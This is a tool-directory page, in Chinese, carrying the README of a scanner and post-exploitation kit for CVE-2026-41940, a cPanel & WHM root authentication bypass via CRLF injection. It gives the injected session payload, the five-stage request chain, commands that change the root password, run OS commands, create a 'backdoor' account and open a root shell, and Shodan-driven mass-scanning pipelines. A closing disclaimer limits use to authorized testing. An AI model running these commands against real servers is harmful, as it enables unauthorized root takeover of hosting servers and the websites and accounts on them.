Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Automated-scanner-CVE-2026-41940 — CVE-2026-41940 自动化扫描器与后渗透利用工具包 — 通过会话文件 CRLF 注入绕过 cPanel 与 WHM root 认证 | Kitploit
工具/GitHubGitHub/sardine-web/automated-scanner-cve-2026-41940
身份验证与授权侦察漏洞扫描器漏洞利用Web应用程序漏洞利用信息收集后渗透利用渗透测试命令与控制

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
红队
Payload 开发
GitHubsardine-web/automated-scanner-cve-2026-41940

Automated-scanner-CVE-2026-41940

CVE-2026-41940 自动化扫描器与后渗透利用工具包 — 通过会话文件 CRLF 注入绕过 cPanel 与 WHM root 认证

查看仓库
12个月前尚未审核

CPANEL CVE EXPLOIT

英文 | فارسی (波斯语)

root@kitploit:~
 ██████╗██████╗  █████╗ ███╗   ██╗███████╗██╗
██╔════╝██╔══██╗██╔══██╗████╗  ██║██╔════╝██║
██║     ██████╔╝███████║██╔██╗ ██║█████╗  ██║
██║     ██╔═══╝ ██╔══██║██║╚██╗██║██╔══╝  ██║
╚██████╗██║     ██║  ██║██║ ╚████║███████╗███████╗
 ╚═════╝╚═╝     ╚═╝  ╚═╝╚═╝  ╚═══╝╚══════╝╚══════╝

 ██████╗██╗   ██╗███████╗
██╔════╝██║   ██║██╔════╝
██║     ██║   ██║█████╗
██║     ╚██╗ ██╔╝██╔══╝
╚██████╗ ╚████╔╝ ███████╗
 ╚═════╝  ╚═══╝  ╚══════╝

███████╗██╗  ██╗██████╗ ██╗      ██████╗ ██╗████████╗
██╔════╝╚██╗██╔╝██╔══██╗██║     ██╔═══██╗██║╚══██╔══╝
█████╗   ╚███╔╝ ██████╔╝██║     ██║   ██║██║   ██║
██╔══╝   ██╔██╗ ██╔═══╝ ██║     ██║   ██║██║   ██║
███████╗██╔╝ ██╗██║     ███████╗╚██████╔╝██║   ██║
╚══════╝╚═╝  ╚═╝╚═╝     ╚══════╝ ╚═════╝ ╚═╝   ╚═╝

Python CVE CVSS License Stdlib

CVE-2026-41940 自动化扫描器与后渗透工具包 — 通过会话文件 CRLF 注入绕过 cPanel & WHM 根认证。


目录

  • 概述
  • CVE 详情
  • 工作原理
  • 功能特性
  • 受影响版本
  • 环境要求
  • 安装
  • 快速开始
  • 使用方法
  • 后渗透操作
  • 交互式 WHM Shell
  • 批量扫描与管道集成
  • Shodan 搜索语法
  • 输出格式
  • 示例会话
  • 法律免责声明

概述

CPANEL CVE EXPLOIT 是一款单文件 Python 工具,专为对受 CVE-2026-41940 影响的 cPanel & WHM 服务器进行授权安全评估而设计。

该漏洞允许未经认证的远程攻击者通过 Authorization: Basic 请求头中的 CRLF 注入污染 WHM 会话文件,从而绕过身份验证,在无需有效凭据的情况下获得 WHM 根级访问权限。


CVE 详情

根本原因

在受影响的 cPanel & WHM 版本中,Session.pm 中的 saveSession() 在将会话文件写入磁盘之后才调用 filter_sessiondata()。攻击者可以通过 HTTP Authorization: Basic 请求头注入 CRLF(\r\n)字符,这些字符会被直接写入磁盘上的会话文件——从而绕过净化流程。

注入的会话字段

该工具使用一个 Base64 编码的有效载荷,解码后为:

root@kitploit:~
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1

这些字段模拟了一个完全通过认证的 root WHM 会话,包括 2FA 绕过(tfa_verified=1)和 root 权限标志(hasroot=1)。

修复措施

cPanel 已将 filter_sessiondata() 的执行时机调整为在 Session.pm 中会话写入操作之前。


工作原理

漏洞利用链由 5 个阶段(阶段 0–4)组成:

root@kitploit:~
flowchart TD
    A[Stage 0: Canonical Host Discovery] --> B[Stage 1: Mint Preauth Session]
    B --> C[Stage 2: CRLF Injection via Authorization Header]
    C --> D[Stage 3: Session Propagation via do_token_denied]
    D --> E[Stage 4: Verify Root Access via json-api/version]
    E --> F{Vulnerable?}
    F -->|Yes| G[Post-Exploit Actions / Interactive Shell]
    F -->|No| H[Skip Target]

    A -.- A1["GET /openid_connect/cpanelid → 307 redirect reveals real hostname"]
    B -.- B1["POST /login/?login_only=1 → whostmgrsession cookie"]
    C -.- C1["GET / + poisoned Basic auth → /cpsessXXXXXXXXXX token"]
    D -.- D1["GET /scripts2/listaccts → flush raw session to cache"]
    E -.- E1["GET /cpsessXXX/json-api/version → HTTP 200 + version JSON"]

功能特性


受影响版本

注意: 运行已修补构建版本的目标会在扫描期间被自动标记并跳过。


环境要求

核心(必需)

  • Python 3.8+
  • 无外部依赖 — 仅使用 Python 标准库

可选

包用途
selenium浏览器自动登录(--selenium)
Chrome / FirefoxSelenium 的浏览器引擎
root@kitploit:~
pip install -r requirements.txt   # optional — selenium only

安装

root@kitploit:~
git clone https://github.com/YOUR_USERNAME/cpanel-cve-exploit.git
cd cpanel-cve-exploit

无需构建步骤,直接运行:

root@kitploit:~
python3 test-cve.py --help

快速开始

root@kitploit:~
# Scan a single WHM target
python3 test-cve.py -u https://target.com:2087

# Scan with post-exploit: list all cPanel accounts
python3 test-cve.py -u https://target.com:2087 --action list

# Mass scan from file, 20 threads, save JSON report
python3 test-cve.py -l targets.txt -t 20 -o results.json

使用方法

root@kitploit:~
usage: test-cve.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
                   [-t THREADS] [--timeout TIMEOUT] [--rate-limit RATE_LIMIT]
                   [--action {list,passwd,cmd,exec,info,version,shell,adduser}]
                   [--passwd PASSWD] [--cmd CMD]
                   [--new-user NEW_USER] [--new-domain NEW_DOMAIN]
                   [--read-file READ_FILE] [--selenium]
                   [--engine {chrome,firefox}] [--browser] [--check-rce]
                   [-o OUTPUT] [--no-color]

目标选项

标志描述
-u, --url单个目标 URL(例如 https://host:2087)

扫描选项

输出选项

标志描述
-o, --output将发现结果保存到 JSON 文件
--no-color禁用 ANSI 彩色输出

后渗透操作

后渗透标志仅适用于单个目标(-u,不适用于批量扫描)。

示例

root@kitploit:~
# Change root password after bypass
python3 test-cve.py -u https://target.com:2087 --action passwd --passwd 'P@ss2026!'

# Execute remote command
python3 test-cve.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"

# Create backdoor cPanel account
python3 test-cve.py -u https://target.com:2087 \
  --action adduser --new-user backdoor --new-domain evil.com --passwd 'TempPass2026!'

# Open interactive WHM shell
python3 test-cve.py -u https://target.com:2087 --action shell

# Auto-login via Chrome
python3 test-cve.py -u https://target.com:2087 --selenium --engine chrome

# Manual browser login (prints JS for DevTools console)
python3 test-cve.py -u https://target.com:2087 --browser

交互式 WHM Shell

使用 --action shell 启动完整的交互式会话:

root@kitploit:~
[email protected] ▶ help

  id / whoami / hostname / version  → server info
  ls [path]                         → file listing
  cat [path]                        → read file contents
  accounts                          → list cPanel accounts
  addadmin <user> <pass>            → create WHM admin/reseller
  passwd <newpass>                  → change root password
  exec <command>                    → run OS command
  exit / quit                       → exit shell

示例:

root@kitploit:~
[email protected] ▶ id
  uid=0(root) gid=0(root) groups=0(root)

[email protected] ▶ accounts
  user=webuser1          domain=example.com          [email protected]
  user=webuser2          domain=test.com             [email protected]

[email protected] ▶ cat /etc/passwd

[email protected] ▶ exit

批量扫描与管道集成

从文件输入

root@kitploit:~
python3 test-cve.py -l targets.txt -t 20 -o results.json

从标准输入(管道)

root@kitploit:~
cat urls.txt | python3 test-cve.py

# subfinder + httpx pipeline
subfinder -d example.com -silent | httpx -p 2087 -silent | python3 test-cve.py -t 30

# Shodan pipeline
shodan search --fields ip_str,port 'title:"WHM Login"' | \
  awk '{print "https://"$1":"$2}' | python3 test-cve.py -t 30 -o shodan_results.json

支持的输入格式

格式示例
完整 URLhttps://192.168.1.1:2087
IP + 端口192.168.1.1 2087
Shodan 输出通过正则自动解析
ANSI 彩色输出自动去除

Shodan 搜索语法

root@kitploit:~
title:"WHM Login"
title:"WebHost Manager" port:2087
product:"cPanel" port:2087
http.title:"WHM"
ssl:"cpanel" port:2087

输出格式

使用 -o results.json 时,发现结果将以 JSON 格式保存:

root@kitploit:~
{
  "scanner": "cPanelSniper v2.0",
  "cve": "CVE-2026-41940",
  "timestamp": "2026-05-23T12:00:00.000000",
  "findings": [
    {
      "severity": "CRIT",
      "title": "CVE-2026-41940 — cPanel & WHM Authentication Bypass",
      "target": "https://target.com:2087",
      "canonical": "server.target.com",
      "session": "root:SessionName",
      "token": "/cpsess1234567890",
      "version": "11.126.0.50",
      "api_url": "https://target.com:2087/cpsess1234567890/json-api/version",
      "evidence": "{\"version\":\"11.126.0.50\"...}",
      "cve": "CVE-2026-41940",
      "cvss": "10.0",
      "timestamp": "2026-05-23T12:00:05.000000"
    }
  ]
}

控制台摘要

root@kitploit:~
══════════════════════════════════════════════════════════════════════
  cPanelSniper — CVE-2026-41940 Scan Complete
  Time: 12.4s  ·  Targets: 50
──────────────────────────────────────────────────────────────────────

  ⚡ 2 VULNERABLE TARGET(S)

  Target   : https://victim1.com:2087
  Version  : 11.126.0.50
  Token    : /cpsess1234567890
  API URL  : https://victim1.com:2087/cpsess1234567890/json-api/version
  Evidence : {"version":"11.126.0.50"...}

══════════════════════════════════════════════════════════════════════

示例会话

root@kitploit:~
$ python3 test-cve.py -u https://target.com:2087

  Configuration:
   Targets  : 1
   Threads  : 10
   Timeout  : 15s
   Action   : scan only

12:00:01 [INFO] Canonical hostname discovered: server.target.com
12:00:02 [  OK] Stage1: preauth session = root:abc123...
12:00:03 [  OK] Stage2: HTTP 307 → token=/cpsess1234567890
12:00:04 [  OK] Stage3: HTTP 401 — do_token_denied gadget fired
12:00:05 [INFO] Stage4: HTTP 200  {"version":"11.126.0.50"...}
12:00:05 [PWND] CVE-2026-41940 CONFIRMED — WHM root access! (v11.126.0.50 — CONFIRMED vulnerable)
12:00:05 [PWND]   Token    : /cpsess1234567890
12:00:05 [PWND]   Session  : root:abc123...
12:00:05 [PWND]   Version  : 11.126.0.50
12:00:05 [PWND]   API URL  : https://target.com:2087/cpsess1234567890/json-api/version

项目结构

root@kitploit:~
cpanel-cve-exploit/
├── test-cve.py        # Main scanner & exploit tool (single file)
├── requirements.txt   # Optional: selenium
├── README.md          # English documentation
└── README.fa.md       # Persian documentation (فارسی)

法律免责声明

仅限授权安全测试使用

本工具仅供教育和授权渗透测试目的使用。

  • 仅可对您拥有或已获得明确书面许可的系统进行测试。
  • 根据 CFAA(美国)、Computer Misuse Act(英国)以及全球同等的法律法规,未经授权访问计算机系统属于违法行为。
  • CVE-2026-41940 的在野利用已被确认 — 请立即修补受影响的系统。
  • 作者与贡献者不对本软件的滥用行为承担任何责任。

使用本工具即表示您同意负责任地使用,并遵守所有适用的法律法规。


参考资料

  • CVE-2026-41940 — NVD 条目
  • cPanel 安全公告 — Session.pm CRLF 注入补丁
  • WHM 默认端口:2087(HTTPS)

为安全研究人员构建 · 请负责任地使用

下载工具
属性值
CVECVE-2026-41940
严重性严重
CVSS10.0
攻击向量网络 / 未认证
影响完全 WHM 根访问权限
默认端口2087(WHM)
状态已确认在野利用(2026 年 4 月)
阶段端点用途
0/openid_connect/cpanelid通过 307 重定向自动发现规范主机名
1/login/?login_only=1使用错误凭据获取预认证 whostmgrsession cookie
2/将 CRLF 污染的 Authorization: Basic 请求头注入会话文件
3/scripts2/listaccts触发 do_token_denied gadget 将会话刷新到缓存
4/{token}/json-api/version确认根访问权限 — HTTP 200 返回版本 JSON
功能描述
单目标扫描对单个 WHM URL 执行完整漏洞利用链
批量扫描从文件或 stdin 进行多线程扫描
版本检测自动比较已修补/易受攻击的版本
后渗透 API密码修改、命令执行、账户列举、用户创建
交互式 Shell内置 WHM root Shell,支持文件读取与 API 命令
Selenium 登录自动向 Chrome/Firefox 注入会话 cookie
手动浏览器回退提供用于手动 WHM 登录的控制台 JavaScript 片段
RCE 检测绕过成功后快速执行 id / uname -a 验证
JSON 导出将所有发现结果保存为结构化 JSON 报告
管道就绪可与 httpx、subfinder、shodan 和 awk 管道配合使用
仅标准库核心功能无需 pip 依赖
彩色输出实时阶段日志,带严重性指示符
分支修补版本状态
11.110.x11.110.0.97低于补丁版本即受影响
11.118.x11.118.0.63低于补丁版本即受影响
11.126.x11.126.0.54低于补丁版本即受影响
11.132.x11.132.0.29低于补丁版本即受影响
11.134.x11.134.0.20低于补丁版本即受影响
11.136.x11.136.0.5低于补丁版本即受影响
-l, --list包含 URL 的文件,每行一个
--hostname覆盖规范 Host 请求头(默认自动发现)
标志默认值描述
-t, --threads10并发扫描线程数
--timeout15HTTP 超时时间(秒)
--rate-limit0目标提交之间的延迟(秒)
操作标志描述
仅扫描(默认)运行漏洞利用链并报告漏洞
列举账户--action list通过 WHM API 列举所有 cPanel 账户
修改密码--action passwd --passwd <pass>修改 root WHM 密码
执行命令--action cmd --cmd "id;whoami"通过 WHM exec API 执行操作系统命令
服务器信息--action info收集主机名、负载、磁盘、版本等信息
获取版本--action version通过 API 获取 cPanel/WHM 版本
创建账户--action adduser --new-user u --new-domain d.com --passwd p创建新的 cPanel 账户
交互式 Shell--action shell启动交互式 WHM root Shell
RCE 检测--check-rce成功绕过后执行 id;uname -a
Selenium 登录--selenium [--engine chrome|firefox]在浏览器中自动登录 WHM 控制面板
手动浏览器--browser打印用于手动登录的 JavaScript 控制台命令